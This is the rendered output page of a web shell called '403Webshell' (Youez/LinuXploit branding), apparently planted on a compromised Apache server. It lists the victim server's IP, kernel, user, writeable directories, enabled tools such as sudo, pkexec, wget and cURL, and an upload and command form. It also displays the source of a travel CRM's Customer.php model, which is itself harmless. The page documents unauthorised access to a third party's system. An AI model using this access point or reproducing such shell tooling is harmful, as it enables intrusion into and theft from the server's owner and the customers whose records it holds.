403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/models//Customer.php
<?php

/*
 * Catabatic Technology Pvt. Ltd.
 * File Name :TblCRMCustomer.php
 * File Description :Manage to Customer Operation
 * Created By : Shobhit Srivastav 
 * Created Date: 03-Aug-2016
 */

class Travel_Model_CRM_Customer {
    protected $_dbObj;
    protected $_crmcustObj;

    public function __construct() {
		
		$this->_crmcustObj = new Travel_Model_TblCrmCustomer();
		$this->_dbObj = Zend_Db_Table::getDefaultAdapter();
    }
	
	
/*	public function addCustomer(array $data) {
		$this->_crmcustObj->insert($data);
		$lastID = $this->_dbObj->lastInsertId();
		return $lastID;
	}
	
	
	public function UpdateCustomer (array $data, $where=NULL) {
		$this->_crmcustObj->update($data, $where);
	}
	
	
	public function ChkMobileNum($mobilenum){
		$select = $this->_dbObj->select();
		$select->from(array('tbl' => "TB_CRM_CustomerAccount"));
		$select->where('tbl.PrimaryContactNumber = ?', $mobilenum);
		$select->where("IsActive = ?", 1);
		$result = $this->_dbObj->fetchAll($select);
		$custID = $result[0]['CRMCustSysId'] ? $result[0]['CRMCustSysId'] : 0;
		return $custID;
	
	}
	public function ChkEmail($email){
		$select = $this->_dbObj->select();
		$select->from(array('tbl' => "TB_CRM_CustomerAccount"));
		$select->where('tbl.EmailId = ?', $email);
		$select->where("IsActive = ?", 1);
		$result = $this->_dbObj->fetchAll($select);
		return @$result[0]['CRMCustSysId'];
		//return $result;
	}
	
public function getCustomerList($agencysysID,$filterData=null){
    $select = $this->_dbObj->select();
    //print_r($filterData);
               // $select->from("TB_CRM_CustomerAccount");
    $select->from(array('tbl' => "TB_CRM_CustomerAccount"));
    $select->joinLeft(array('tb2' => "TB_Agency_Customer"), "tbl.CRMCustSysId = tb2.CRMCustSysId");
    
    if(!empty($filterData['phonenumber'])){
     $select->where('tb2.Contacts LIKE ?', '%'.$filterData['phonenumber'].'%');
    }
    if(!empty($filterData['customername'])){
     $select->orWhere('lower(tb2.FirstName) LIKE ?', '%'.strtolower($filterData['customername']).'%');
    }
    if(!empty($filterData['customername'])){
     $select->orWhere('lower(tb2.LastName) LIKE ?', '%'.strtolower($filterData['customername']).'%');
    }
    if(!empty($filterData['emailid'])){
     $select->orWhere('tb2.EmailId LIKE ?', '%'.$filterData['emailid'].'%');
    }
    
    $select->where("tbl.IsActive = ?", 1);
    $select->where("tb2.IsActive = ?", 1);
    $select->where("tbl.IsMarkForDelete = ?", 0);
    $select->where("tb2.IsMarkForDelete = ?", 0);
    $select->where("tb2.AgencySysId = ?", $agencysysID);
	$select->order("tb2.CustomerSysId DESC");
    $result = $this->_dbObj->fetchAll($select);
    return $result;
 }
	public function GetCustomerById($id){
		$select = $this->_dbObj->select();
		$select->from('TB_CRM_CustomerAccount');
		$select->where("TB_CRM_CustomerAccount.CRMCustSysId = ?", $id);
		$result = $this->_dbObj->fetchRow($select);
        return $result;
	}
	//query to insert remark data in db created by amit kumar dubey on 16 august 2016 at 1:09 PM
	public function addRemark(array $data) {
		$this->_crmcustObj->insert($data);
		$lastID = $this->_dbObj->lastInsertId();
		return $lastID;
	}
*/
}	

Youez - 2016 - github.com/yon3zu
LinuXploit